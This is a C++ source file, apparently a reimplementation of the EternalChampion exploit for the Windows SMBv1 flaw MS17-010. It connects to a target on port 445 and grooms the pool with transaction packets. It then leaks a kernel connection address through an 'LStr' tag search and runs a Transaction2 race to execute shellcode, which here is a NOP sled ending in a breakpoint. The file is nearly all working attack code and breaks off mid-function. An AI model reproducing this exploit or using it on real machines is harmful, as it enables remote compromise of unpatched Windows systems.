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Source.cpp
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#include "smb.h"
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "crypt32")
#define NO_INLINING
#ifdef NO_INLINING
#pragma auto_inline(off)
#endif
#pragma warning(push)
#pragma warning(disable : 6305 28182 6387 4244 6011)
PVOID GlobalTransactionInfoPointer = NULL;
HMODULE Globalsmblibmodule = NULL;
WORD* GlobalGroomMids = NULL, GlobalGroomCount = 0;
int wmain(int argc, wchar_t** argv)
{
static STRING s;
static UNICODE_STRING ipaddressarg;
static HANDLE hthread;
static DWORD dwtid, dwexitcode, i, attempts;
ANYPOINTER p = { 0 };
BUFFER tmp = { 0 };
PTHREAD_START_ROUTINE exploit_method = &EternalChampionExec, check_vulnerable_method = NULL, backdoor_verify_method = NULL;
if (GetUnsigned(&argc) >= 2)
{
bwsalloc(&tmp, MAKEUNSIGNED(wcslen(argv[1]) + sizeof(wchar_t)));
cpy(tmp.pbdata, argv[1], wcslen(argv[1]) * sizeof(wchar_t));
if (!find_memory_pattern(&tmp, &p, L".", sizeof(wchar_t)))
InitUnicodeString(L"127.0.0.1", &ipaddressarg);
else
InitUnicodeString(argv[1], &ipaddressarg);
bwsfree(&tmp);
p = { 0 };
}
else
{
InitUnicodeString(L"127.0.0.1", &ipaddressarg);
}
ConvertUnicodeToString(&ipaddressarg, &s);
FreeUnicodeString(&ipaddressarg);
//check if the victim pc has been patched to the Eternal* exploits
/*
hthread = CreateThread(NULL, 0, check_vulnerable_method, s.Buffer, 0, &dwtid);
if (isnull(hthread))
{
FreeString(&s);
return STATUS_INVALID_HANDLE;
}
WaitForSingleObject(hthread, INFINITE);
GetExitCodeThread(hthread, &dwexitcode);
CloseHandle(hthread);
PutUlongPtr(&hthread, 0), PutInt(&dwtid, 0);
if (dwexitcode != NT_STATUS_SUCCESS)
{
dbgprint("[%S]: the target %S:%u appears to not be vulnerable to MS17-10...\n\n", __FUNCTION__, s.Buffer, 445U);
FreeString(&s);
return GetInt(&dwexitcode);
}
*/
//use race condition to execute shellcode:
hthread = CreateThread(NULL, 0, exploit_method, s.Buffer, 0, &dwtid);
if (isnull(hthread))
{
FreeString(&s);
return STATUS_INVALID_HANDLE;
}
WaitForSingleObject(hthread, INFINITE);
GetExitCodeThread(hthread, &dwexitcode);
CloseHandle(hthread);
PutUlongPtr(&hthread, 0), PutInt(&dwtid, 0);
if (dwexitcode != NT_STATUS_SUCCESS)
{
dbgprint("[%S]: the target %S:%u appears to not be vulnerable to MS17-10...\n\n", __FUNCTION__, s.Buffer, 445U);
FreeString(&s);
return GetInt(&dwexitcode);
}
FreeString(&s);
return GetInt(&dwexitcode);
}
DWORD __stdcall EternalChampionExec(PVOID IN pvip_addr)
{
BUFFER tmp = { 0 };
PCSTR paramip = ((PCSTR)pvip_addr);
UNICODE_STRING wip = { 0 };
STRING ip = { 0 };
static smb_info info;
static RequestPacketLinkedList requests[0x200], * req;
static ResponsePacketLinkedList responses[0x200], * resp, * firstnttransresp, * secondnttransresp;
static ULONG_PTR seed;
DWORD i = 0, j = 0, currententryval = 0, numberofreqentries = 0x200, leakentrycount = 0x10, attempts = 3, groomcount = 0, numberofrespentries = 0x200, numberofleakentries = 0x0, leaktransoffset = 0;
static DWORD firstleakfragtagoffset, secondleakfragtagoffset, secondleaklstrtagoffset;
SOCKET s[2] = { 0 };
WSAData wsa = { 0 };
sockaddr_in sa[2] = { 0 };
unsigned status[0x10] = { 0 };
ANYPOINTER* any = NULL, fragtag = { 0 }, leakedaddress = { 0 }, lstrtag = { 0 }, anyleakdata[2] = { 0 }, anyleaktrans = { 0 };
ULONG_PTR datasentlastpacketoffset = 0, datarecievedlastpacketoffset = 0, firstleakaddresses[2] = { 0 }, secondleakaddresses[8] = { 0 }, connectionaddress = 0;
WORD returnedids[8] = { 0 }, * returnedtreeid = returnedids, * returnedfid = returnedids + 1, * returnedmid = returnedids + 2, * returnedlogofftid = returnedids + 3, * special_pid = returnedids + 4, savedmids[4] = { 0 }, savedpids[4] = { 0 };
BUFFER globalbuffers[2] = { 0 }, * globalsentdata = globalbuffers, * globalrecieveddata = globalbuffers + 1, * shellcode = NULL, * shellcodetmp = NULL;
HANDLE heap = NULL;
WIN7_64_TRANS_INFO transinfo = { 0 };
X64_INFO archinfo = { 0 };
pfnbwsallocateandcopy bwsallocateandcopy = NULL;
pfnbwsdelete bwsdelete = NULL;
pfnbwsnew bwsnew = NULL;
TRANS_REQUEST_LIST* transactionrequestlist = NULL, * transreqentry = NULL;
TRANS_RESPONSE_LIST* transactionresponselist = NULL, * transrespentry = NULL;
Globalsmblibmodule = LoadLibraryW(TEXT("SmbLibrary"));
if (!csprngcryptostartup())
errmsg(__FUNCSIG__, __LINE__, GetLastError());
InitString(paramip, &ip);
ConvertStringToUnicode(&ip, &wip);
seed += random() % 0x1000;
PutUlongPtr(&info.connection_handle, GetUlongPtr(&seed));
any = NULL;
info.sockaddrpointer = sa;
info.socketpointer = s;
info.wsapointer = &wsa;
set_pid(&info, 4095);
set_uid(&info, 0);
set_mid(&info, 0);
set_tid(&info, 0xFFFF);
set_fid(&info, 0);
set_special_pid(&info, GetUshort(special_pid));
//setup Request single linked list
for (i = 0, j = 0; i < numberofreqentries; i++)
{
j = (i + 1);
req = &requests[i];
if (i == (numberofreqentries - 1))
{
requests[i].NextEntry = (&requests[0]);
}
else
{
requests[i].NextEntry = &requests[j];
}
}
req = requests;
//setup Response single linked list
for (i = 0, j = 0; i < numberofrespentries; i++)
{
j = (i + 1);
resp = responses + i;
if (j == numberofrespentries)
responses[i].NextEntry = &responses[0];
else
responses[i].NextEntry = &responses[j];
}
resp = responses;
//get a handle to this processes heap
heap = GetProcessHeap();
if (isnull(info.TransactionContext = ((TRANSACTION_INFORMATION*)(HeapAlloc(heap, HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, sizeof(TRANSACTION_INFORMATION))))))
{
PutUlong(status, ((GetLastError() == 0) ? STATUS_NO_MEMORY : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto done;
}
if (!AllocateAndSetupTransactionReqList(&transactionrequestlist, 0x80))
{
PutUlong(status, ((GetLastError() == 0) ? STATUS_FAIL : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto done;
}
if (!AllocateAndSetupTransactionRespList(&transactionresponselist, 0x80))
{
PutUlong(status, ((GetLastError() == 0) ? STATUS_FAIL : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto done;
}
//let the first entry be empty on both of my transaction req/resp circular doubly linked lists
transreqentry = transactionrequestlist->Flink, transrespentry = transactionresponselist->Flink;
info.currenttransreqentry = transreqentry, info.currenttransrespentry = transrespentry;
info.transrequestlist = transactionrequestlist, info.transresponselist = transactionresponselist;
GlobalTransactionInfoPointer = info.TransactionContext;
if (isnull(Globalsmblibmodule))
{
dbgprint("[%S] failed to load library \"%ws\"\n", __FUNCTION__, TEXT("SmbLibrary.dll"));
PutUlong(status, STATUS_FAIL);
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto done;
}
//we get the addresses of our dynamically imported functions
bwsallocateandcopy = (pfnbwsallocateandcopy)GetProcAddress(Globalsmblibmodule, "bwsallocateandcopy");
bwsdelete = (pfnbwsdelete)GetProcAddress(Globalsmblibmodule, "bwsdelete");
bwsnew = (pfnbwsnew)GetProcAddress(Globalsmblibmodule, "bwsnew");
if (isnull(bwsallocateandcopy) || isnull(bwsdelete) || isnull(bwsnew))
{
PutUlong(status, STATUS_FAIL);
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto done;
}
shellcode = bwsnew(1), shellcodetmp = bwsnew(1);
bwsalloc(shellcodetmp, 0x80 - 2);
RtlFillMemory(shellcodetmp->pbdata, 0x80 - 2, 0x90);
bwsallocateandcopy(shellcode, shellcodetmp->pbdata, shellcodetmp->dwsize);
bwsfree(shellcodetmp);
bwsallocateandcopy(shellcodetmp, "\xCC\xC3", 2);
bwscat(shellcode, shellcodetmp);
bwsfree(shellcodetmp);
bwsdelete(&shellcodetmp);
//we attempt to connect to the target on port 445\SMB
*status = TargetConnect(*s, *sa, wsa, ip.Buffer, status[1]);
if (*status != 0 || status[1] != 0)
{
PutInt(status, WSAGetLastError()), SetLastError(GetUlong(status));
errmsg(__FUNCSIG__, __LINE__, GetLastError());
goto done;
}
req = requests, resp = responses;
//smb negotiate, session setup (with shellcode), and tree connect andx
PutUshort(returnedtreeid, SmbTreeConnectAndx(requests, responses, &info, wip.Buffer, shellcode, globalsentdata, globalrecieveddata)), PutUlong(status, GetLastError());
if (GetUlong(status) & STATUS_FAIL)
goto logoff;
while (notnull(req->NextEntry->ThisPacket.pbdata) && notnull(req->NextEntry->ThisSmb))
req = req->NextEntry;
while (notnull(resp->NextEntry->ThisPacket.pbdata) && notnull(resp->NextEntry->ThisSmb))
resp = resp->NextEntry;
PutUshort(returnedfid, SmbNtCreateAndx(requests, responses, &info, globalsentdata, globalrecieveddata)), PutUlong(status, GetLastError());
if (GetUlong(status) & STATUS_FAIL)
goto logoff;
while (notnull(req->NextEntry->ThisPacket.pbdata) && notnull(req->NextEntry->ThisSmb))
req = req->NextEntry;
while (notnull(resp->NextEntry->ThisPacket.pbdata) && notnull(resp->NextEntry->ThisSmb))
resp = resp->NextEntry;
PutUshort(returnedmid, SmbTransactionGroomNtTransactionNtRenameLeak(requests, responses, &info, globalsentdata, globalrecieveddata)), PutUlong(status, GetLastError());
if (GetUlong(status) & STATUS_FAIL)
goto logoff;
recvalltransactions:
while (notnull(transrespentry->smb))
transrespentry = transrespentry->Flink;
while (notnull(resp->ThisSmb))
resp = resp->NextEntry;
PutUlong(status, SmbRecvTransaction(resp, transrespentry, GetSocket(s), LOWORD(8204U)));
PutUlong(status, ((GetUlong(status) == 0) ? GetLastError() : GetUlong(status)));
/*
while (notnull(transrespentry->smb))
transrespentry = transrespentry->Flink;
while (notnull(resp->ThisSmb))
resp = resp->NextEntry;
PutUlong(status, SmbRecvTransaction(responses, transrespentry, GetSocket(s), LOWORD(8204)));
PutUlong(status, ((GetUlong(status) == 0) ? GetLastError() : GetUlong(status)));
*/
/*
while ((transrespentry->smb->Command != SMB_COM_NT_TRANS) || (GetUshort(&transrespentry->smb->Mid) != LOWORD(8204)))
{
if (isnull(transrespentry->smb))
goto logoff;
transrespentry = transrespentry->Flink;
}
while ((resp->ThisSmb->Command != SMB_COM_NT_TRANS) || (GetUshort(&resp->ThisSmb->Mid) != LOWORD(8204)))
{
if (isnull(resp->ThisSmb) || isnull(resp->ThisPacket.pbdata))
goto logoff;
if (resp->NextEntry->ThisSmb->Command == SMB_COM_TRANS)
{
resp = resp->NextEntry;
continue;
}
if (!find_memory_pattern(&resp->ThisPacket, &lstrtag, "LStr", 4))
{
resp = resp->NextEntry;
continue;
}
resp = resp->NextEntry;
}
*/
do
{
RtlZeroMemory(&tmp, sizeof(tmp));
if (transrespentry->smb->Command == SMB_COM_NT_TRANS)
{
tmp.pbdata = (MAKEPBYTE(transrespentry->smb) + transrespentry->transaction.nttrans->DataOffset);
tmp.dwsize = MAKEDWORD(transrespentry->transaction.nttrans->DataCount);
if (isnull(tmp.pbdata))
{
PutUlong(status, STATUS_FAIL);
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto logoff;
}
if (!find_memory_pattern(&tmp, &lstrtag, "LStr", 4))
{
transrespentry = transrespentry->Flink;
continue;
}
}
else if (transrespentry->smb->Command == SMB_COM_TRANS)
{
transrespentry = transrespentry->Flink;
continue;
}
transrespentry = transrespentry->Flink;
}
while (notnull(transrespentry->smb));
/*
if (GetUshort(&resp->ThisSmb->Mid) != LOWORD(8204))
{
dbgprint("[%S] Unable to find leaked transaction response in responses on line %u...\n", __FUNCTION__, __LINE__);
PutUlong(status, STATUS_FAIL);
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto logoff;
}
*/
if (!find_memory_pattern(&tmp, &lstrtag, "LStr", 4))
{
dbgprint("[%S] Unable to find transaction structure in leaked data:\n", __FUNCTION__);
//DumpHex(resp->ThisPacket.pbdata, resp->ThisPacket.dwsize);
//dbgprint("\n");
PutUlong(status, STATUS_FAIL);
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto recvalltransactions;//goto logoff;
}
leakedaddress.pbpointer = lstrtag.pbpointer, leakedaddress.pbpointer += (4 + 0x18);
leakedaddress.address += 0x10, connectionaddress = GetUlongPtr(leakedaddress.paddress);
PutUshort(returnedmid, SmbTransaction2Race(requests, responses, &info, GetUlonglong(&connectionaddress) + 0x3ca, globalsentdata, globalrecieveddata));
PutUlong(status, GetLastError());
for (i = 0; i < 0x40; i++)
{
PutUshort(returnedmid, SmbTransaction2Race(requests, responses, &info, GetUlonglong(&connectionaddress) + 0x3ca, globalsentdata, globalrecieveddata));
PutUlong(status, GetLastError());
if (GetUlong(status) == 0)
_dbgprint("[%S] there's a race...\n", __FUNCTION__);
else
_dbgprint("[%S] race failed...\n", __FUNCTION__);
}
logoff:
while (notnull(req->ThisSmb) || notnull(req->ThisPacket.pbdata))
req = req->NextEntry;
while (notnull(resp->ThisSmb) || notnull(resp->ThisPacket.pbdata))
resp = resp->NextEntry;
PutUshort(returnedlogofftid, SmbDisconnectAndLogoff(requests, responses, &info, globalsentdata, globalrecieveddata));
PutUlong(status, GetLastError());
goto done;
done:
if (validsock(*s))
closesocket(*s);
WSACleanup();
_dbgprint("\n[%S] request buffers:\n", __FUNCTION__);
DumpHex(globalsentdata->pbdata, globalsentdata->dwsize);
_dbgprint("\n[%S] response buffers:\n", __FUNCTION__);
DumpHex(globalrecieveddata->pbdata, globalrecieveddata->dwsize);
if(GetUlonglong(&connectionaddress))
_dbgprint("\n[%S] CONNECTION Address = 0x%llx\n", __FUNCTION__, connectionaddress);
FreeRequestLinkedListBuffers(requests, &numberofreqentries);
FreeResponseLinkedListBuffers(responses, &numberofrespentries);
if (notnull(transactionrequestlist))
FreeTransactionReqList(&transactionrequestlist), info.transrequestlist = NULL;
if (notnull(transactionresponselist))
FreeTransactionRespList(&transactionresponselist), info.transresponselist = NULL;
bwsfree(globalsentdata);
bwsfree(globalrecieveddata);
bwsdelete(&shellcode);
FreeString(&ip);
FreeUnicodeString(&wip);
HeapFree(heap, 0, info.TransactionContext), PutUlongPtr(&GlobalTransactionInfoPointer, NULL), PutUlongPtr(&info.TransactionContext, NULL);
HeapFree(heap, 0, GlobalGroomMids);
csprngcryptoshutdown();
return GetUlong(status);
}
//return new tree id if successfull and NULL upon failure
WORD __stdcall SmbTreeConnectAndx(RequestPacketLinkedList IN OUT* requestliststart, ResponsePacketLinkedList IN OUT* responseliststart, smb_info IN OUT* info, PCWSTR IN unicodeip, BUFFER IN* shellcode, BUFFER IN OUT* sentdata, BUFFER IN OUT* recieveddata)
{
RequestPacketLinkedList* req = requestliststart;
ResponsePacketLinkedList* resp = responseliststart;
unsigned status[2] = { 0 }, smbreqrespcount = 0;
BOOLEAN bstatus = TRUE;
SOCKET* s = ((SOCKET*)(info->socketpointer));
if (
isnull(requestliststart) ||
isnull(responseliststart) ||
isnull(info) ||
isnull(unicodeip) ||
isnull(sentdata) ||
isnull(recieveddata)
)
{
PutUlong(status, STATUS_INVALID_PARAMETER);
SetLastError(GetUlong(status));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
return NULL;
}
set_mid(info, 0);
set_pid(info, 4095);
set_uid(info, 0);
set_tid(info, 0xFFFF);
bstatus = SendRecvNegotiate(req, resp, GetSocket(s), info);
++smbreqrespcount;
req->ThisSmb = MAKEPSMB(req->ThisPacket.pbdata + SMB_HEADER_OFFSET);
resp->ThisSmb = MAKEPSMB(resp->ThisPacket.pbdata + SMB_HEADER_OFFSET);
req->ThisNetbiosSize = (req->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
resp->ThisNetbiosSize = (resp->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
//extract any meaningfull info from request packet
update_smb_info(info, &req->ThisPacket);
//extract any meaningfull info from response packet
update_smb_info(info, &resp->ThisPacket);
if (!bstatus || info->srv_last_error != 0)
{
errmsg(__FUNCSIG__, __LINE__, info->srv_last_error | STATUS_FAIL);
PutUlong(status, GetUlong(&resp->ThisSmb->Status.NtStatus));
goto fail;
}
//append latest packet to global send data buffer
bwscat(sentdata, &req->ThisPacket);
//append latest recieved packet to global recieved data buffer
bwscat(recieveddata, &resp->ThisPacket);
//get next entries in list
req = req->NextEntry;
resp = resp->NextEntry;
//send session_setup_andx and recv session setup response from server
bstatus = SendRecvSessionSetupAndx(req, resp, GetSocket(s), info, shellcode); //bstatus = SendRecvSessionSetupAndx(req, resp, GetSocket(s), info);
++smbreqrespcount;
req->ThisSmb = MAKEPSMB(req->ThisPacket.pbdata + SMB_HEADER_OFFSET);
resp->ThisSmb = MAKEPSMB(resp->ThisPacket.pbdata + SMB_HEADER_OFFSET);
req->ThisNetbiosSize = (req->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
resp->ThisNetbiosSize = (resp->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
//extract any meaningfull info from request packet
update_smb_info(info, &req->ThisPacket);
//extract any meaningfull info from response packet
update_smb_info(info, &resp->ThisPacket);
if (!bstatus)
{
dbgprint("[%S]: %S unexpectedly returned false...\n", __FUNCTION__, "SendRecvSessionSetupAndx()");
errmsg(__FUNCSIG__, __LINE__, STATUS_FAIL);
PutUlong(status, STATUS_FAIL);
goto fail;
}
if (GetUlong(&resp->ThisSmb->Status.NtStatus) & STATUS_FAIL)
{
dbgprint("[%S]: recieved unexpected error 0x%08X from server during %S command\n", __FUNCTION__, GetUnsigned(&resp->ThisSmb->Status.NtStatus), "SMB_COM_SESSION_SETUP_ANDX");
errmsg(__FUNCSIG__, __LINE__, GetUlong(&resp->ThisSmb->Status.NtStatus));
PutUlong(status, GetUlong(&resp->ThisSmb->Status.NtStatus));
goto fail;
}
//append latest packet to global send data buffer
bwscat(sentdata, &req->ThisPacket);
//append latest recieved packet to global recieved data buffer
bwscat(recieveddata, &resp->ThisPacket);
//get next entries in list
req = req->NextEntry;
resp = resp->NextEntry;
//send treeconnect_andx request and get response
bstatus = SendRecvTreeConnectAndx(req, resp, GetSocket(s), info, unicodeip);
++smbreqrespcount;
req->ThisSmb = MAKEPSMB(req->ThisPacket.pbdata + SMB_HEADER_OFFSET);
resp->ThisSmb = MAKEPSMB(resp->ThisPacket.pbdata + SMB_HEADER_OFFSET);
req->ThisNetbiosSize = (req->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
resp->ThisNetbiosSize = (resp->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
//extract any meaningfull info from request packet
update_smb_info(info, &req->ThisPacket);
//extract any meaningfull info from response packet
update_smb_info(info, &resp->ThisPacket);
if (!bstatus)
{
dbgprint("[%S]: %S unexpectedly returned false...\n", __FUNCTION__, "SendRecvTreeConnectAndx()");
errmsg(__FUNCSIG__, __LINE__, STATUS_FAIL);
PutUlong(status, STATUS_FAIL);
goto fail;
}
if (resp->ThisSmb->Status.NtStatus & STATUS_FAIL)
{
dbgprint("[%S]: recieved unexpected error code from server 0x%08X during %S command\n", __FUNCTION__, GetUnsigned(&resp->ThisSmb->Status.NtStatus), "SMB_COM_TREE_CONNECT_ANDX");
errmsg(__FUNCSIG__, __LINE__, GetUnsigned(&resp->ThisSmb->Status.NtStatus));
PutUlong(status, GetUlong(&resp->ThisSmb->Status.NtStatus));
goto fail;
}
//append latest packet to global send data buffer
bwscat(sentdata, &req->ThisPacket);
//append latest recieved packet to global recieved data buffer
bwscat(recieveddata, &resp->ThisPacket);
goto success;
success:
SetLastError(0);
return get_tid(info);
fail:
SetLastError(GetUlong(status));
return NULL;
}
//returns fid
WORD __stdcall SmbNtCreateAndx(RequestPacketLinkedList IN OUT* requestliststart, ResponsePacketLinkedList IN OUT* responseliststart, smb_info IN OUT* info, BUFFER IN OUT* sentdata, BUFFER IN OUT* recieveddata)
{
RequestPacketLinkedList* req = requestliststart;
ResponsePacketLinkedList* resp = responseliststart;
unsigned status[2] = { 0 }, smbreqrespcount = 0;
BOOLEAN bstatus = TRUE;
SOCKET* s = ((SOCKET*)(info->socketpointer));
PRESP_NT_CREATE_ANDX ntcreate = NULL;
if (
isnull(requestliststart) ||
isnull(responseliststart) ||
isnull(info) ||
isnull(sentdata) ||
isnull(recieveddata)
)
{
PutUlong(status, STATUS_INVALID_PARAMETER);
SetLastError(GetUlong(status));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
return NULL;
}
//go to the next blank entry in our request list
if (notnull(req->ThisPacket.pbdata))
while (notnull(req->ThisPacket.pbdata))
req = req->NextEntry;
//go to the next blank entry in our response list
if (notnull(resp->ThisPacket.pbdata))
while (notnull(resp->ThisPacket.pbdata))
resp = resp->NextEntry;
bstatus = SendRecvNtCreateAndx(req, resp, GetSocket(s), info);
++smbreqrespcount;
req->ThisSmb = MAKEPSMB(req->ThisPacket.pbdata + SMB_HEADER_OFFSET);
resp->ThisSmb = MAKEPSMB(resp->ThisPacket.pbdata + SMB_HEADER_OFFSET);
req->ThisNetbiosSize = (req->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
resp->ThisNetbiosSize = (resp->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
ntcreate = ((PRESP_NT_CREATE_ANDX)(resp->ThisPacket.pbdata + SMB_PARAM_OFFSET));
//extract any meaningfull info from request packet
update_smb_info(info, &req->ThisPacket);
//extract any meaningfull info from response packet
update_smb_info(info, &resp->ThisPacket);
if (!bstatus)
{
PutUlong(status, ((GetLastError() == 0) ? STATUS_FAIL : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
if (isnull(resp->ThisPacket.pbdata) || (!(GetUlong(&resp->ThisPacket.dwsize) & 0xFFFFFFFF)))
{
PutUlong(status, ((GetLastError() == 0) ? NT_STATUS_INVALID_SMB : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
if (GetUlong(&resp->ThisSmb->Status.NtStatus) & STATUS_FAIL)
{
PutUlong(status, GetUlong(&resp->ThisSmb->Status.NtStatus));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
if (get_fid(info) == 0)
set_fid(info, GetUshort(&ntcreate->Fid));
//append latest packet to global send data buffer
bwscat(sentdata, &req->ThisPacket);
//append latest recieved packet to global recieved data buffer
bwscat(recieveddata, &resp->ThisPacket);
//get next entries in list
req = req->NextEntry;
resp = resp->NextEntry;
goto success;
success:
SetLastError(0);
return get_fid(info);
fail:
SetLastError(GetUlong(status));
return NULL;
}
//returns mid of first sandwich packet smb
WORD __stdcall SmbTransactionGroomNtTransactionNtRenameLeak(RequestPacketLinkedList IN OUT* requestliststart, ResponsePacketLinkedList IN OUT* responseliststart, smb_info IN OUT* info, BUFFER IN OUT* sentdata, BUFFER IN OUT* recieveddata)
{
RequestPacketLinkedList* req = requestliststart;
ResponsePacketLinkedList* resp = responseliststart;
unsigned status[2] = { 0 }, smbreqrespcount = 0, i = 0;
BOOLEAN bstatus = TRUE;
SOCKET* s = ((SOCKET*)(info->socketpointer));
const unsigned groomcount = 10;
const WORD mids[] = { 8105, 8107, 8111, 8115, 8125, 8141, 8158, 8172, 8175, 8188 }, pids[10] = { 4095 };
PTRANS_REQUEST_LIST& transreqentry = ((PTRANS_REQUEST_LIST&)(info->currenttransreqentry));
PTRANS_RESPONSE_LIST& transrespentry = ((PTRANS_RESPONSE_LIST&)(info->currenttransrespentry));
SendRecvHandlerTypeOne SendRecvLeakTriggerPacketSandwich = &SendRecvNtTransSecondaryPacketSandwich;
WORD lastmid = 0;
if (
isnull(requestliststart) ||
isnull(responseliststart) ||
isnull(info) ||
isnull(sentdata) ||
isnull(recieveddata)
)
{
PutUlong(status, STATUS_INVALID_PARAMETER);
SetLastError(GetUlong(status));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
return NULL;
}
//go to the next blank entry in our request list
if (notnull(req->ThisPacket.pbdata))
while (notnull(req->ThisPacket.pbdata))
req = req->NextEntry;
//go to the next blank entry in our response list
if (notnull(resp->ThisPacket.pbdata))
while (notnull(resp->ThisPacket.pbdata))
resp = resp->NextEntry;
for (i = 0; i < groomcount; ++i)
{
set_mid(info, GetUshort(mids + i));
set_pid(info, GetUshort(pids + i));
if (GetUshort(&lastmid) == 8188)
break;
//send our groom packets
bstatus = SendRecvTransGroomPacket(req, resp, GetSocket(s), info);
++smbreqrespcount;
req->ThisSmb = MAKEPSMB(req->ThisPacket.pbdata + SMB_HEADER_OFFSET);
resp->ThisSmb = MAKEPSMB(resp->ThisPacket.pbdata + SMB_HEADER_OFFSET);
req->ThisNetbiosSize = (req->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
resp->ThisNetbiosSize = (resp->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
//extract any meaningfull info from request packet
update_smb_info(info, &req->ThisPacket);
//extract any meaningfull info from response packet
update_smb_info(info, &resp->ThisPacket);
if (!bstatus)
{
PutUlong(status, ((GetLastError() == 0) ? STATUS_FAIL : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
if (isnull(resp->ThisPacket.pbdata) || (!(GetUlong(&resp->ThisPacket.dwsize) & 0xFFFFFFFF)))
{
PutUlong(status, ((GetLastError() == 0) ? NT_STATUS_INVALID_SMB : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
if (GetUlong(&resp->ThisSmb->Status.NtStatus) & STATUS_FAIL)
{
PutUlong(status, GetUlong(&resp->ThisSmb->Status.NtStatus));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
SyncTransactionInfo(info->TransactionContext, &req->ThisPacket);
SyncTransactionInfo(info->TransactionContext, &resp->ThisPacket);
FillInTransRequestEntry(transreqentry, req);
FillInTransResponseEntry(transrespentry, resp);
//append latest packet to global send data buffer
bwscat(sentdata, &req->ThisPacket);
//append latest recieved packet to global recieved data buffer
bwscat(recieveddata, &resp->ThisPacket);
PutUshort(&lastmid, get_mid(info));
//get next entries in list
req = req->NextEntry, resp = resp->NextEntry;
transreqentry = transreqentry->Flink, transrespentry = transrespentry->Flink;
}
set_mid(info, 0x200c);
set_pid(info, 4095);
bstatus = SendRecvLeakTriggerPacketSandwich(req, resp, GetSocket(s), info);
++smbreqrespcount;
req->ThisSmb = MAKEPSMB(req->ThisPacket.pbdata + SMB_HEADER_OFFSET);
resp->ThisSmb = MAKEPSMB(resp->ThisPacket.pbdata + SMB_HEADER_OFFSET);
req->ThisNetbiosSize = (req->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
resp->ThisNetbiosSize = (resp->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
//extract any meaningfull info from request packet
update_smb_info(info, &req->ThisPacket);
//extract any meaningfull info from response packet
update_smb_info(info, &resp->ThisPacket);
if (!bstatus)
{
PutUlong(status, ((GetLastError() == 0) ? STATUS_FAIL : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
if (isnull(resp->ThisPacket.pbdata) || (!(GetUlong(&resp->ThisPacket.dwsize) & 0xFFFFFFFF)))
{
PutUlong(status, ((GetLastError() == 0) ? NT_STATUS_INVALID_SMB : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
if (GetUlong(&resp->ThisSmb->Status.NtStatus) & STATUS_FAIL)
{
PutUlong(status, GetUlong(&resp->ThisSmb->Status.NtStatus));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
SyncTransactionInfo(info->TransactionContext, &req->ThisPacket);
SyncTransactionInfo(info->TransactionContext, &resp->ThisPacket);
FillInTransRequestEntry(transreqentry, req);
FillInTransResponseEntry(transrespentry, resp);
//append latest packet to global send data buffer
bwscat(sentdata, &req->ThisPacket);
//append latest recieved packet to global recieved data buffer
bwscat(recieveddata, &resp->ThisPacket);
//get next entries in lists
//req = req->NextEntry, resp = resp->NextEntry, transreqentry = transreqentry->Flink, transrespentry = transrespentry->Flink;
/*
bstatus = SendRecvNtTransSecondaryPacketSandwich(req, resp, GetSocket(s), info);
++smbreqrespcount;
req->ThisSmb = MAKEPSMB(req->ThisPacket.pbdata + SMB_HEADER_OFFSET);
resp->ThisSmb = MAKEPSMB(resp->ThisPacket.pbdata + SMB_HEADER_OFFSET);
req->ThisNetbiosSize = (req->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
resp->ThisNetbiosSize = (resp->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
//extract any meaningfull info from request packet
update_smb_info(info, &req->ThisPacket);
//extract any meaningfull info from response packet
update_smb_info(info, &resp->ThisPacket);
if (!bstatus)
{
PutUlong(status, ((GetLastError() == 0) ? STATUS_FAIL : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
if (isnull(resp->ThisPacket.pbdata) || (!(GetUlong(&resp->ThisPacket.dwsize) & 0xFFFFFFFF)))
{
PutUlong(status, ((GetLastError() == 0) ? NT_STATUS_INVALID_SMB : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
if (GetUlong(&resp->ThisSmb->Status.NtStatus) & STATUS_FAIL)
{
PutUlong(status, GetUlong(&resp->ThisSmb->Status.NtStatus));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
SyncTransactionInfo(info->TransactionContext, &req->ThisPacket);
SyncTransactionInfo(info->TransactionContext, &resp->ThisPacket);
FillInTransRequestEntry(transreqentry, req);
FillInTransResponseEntry(transrespentry, resp);
//append latest packet to global send data buffer
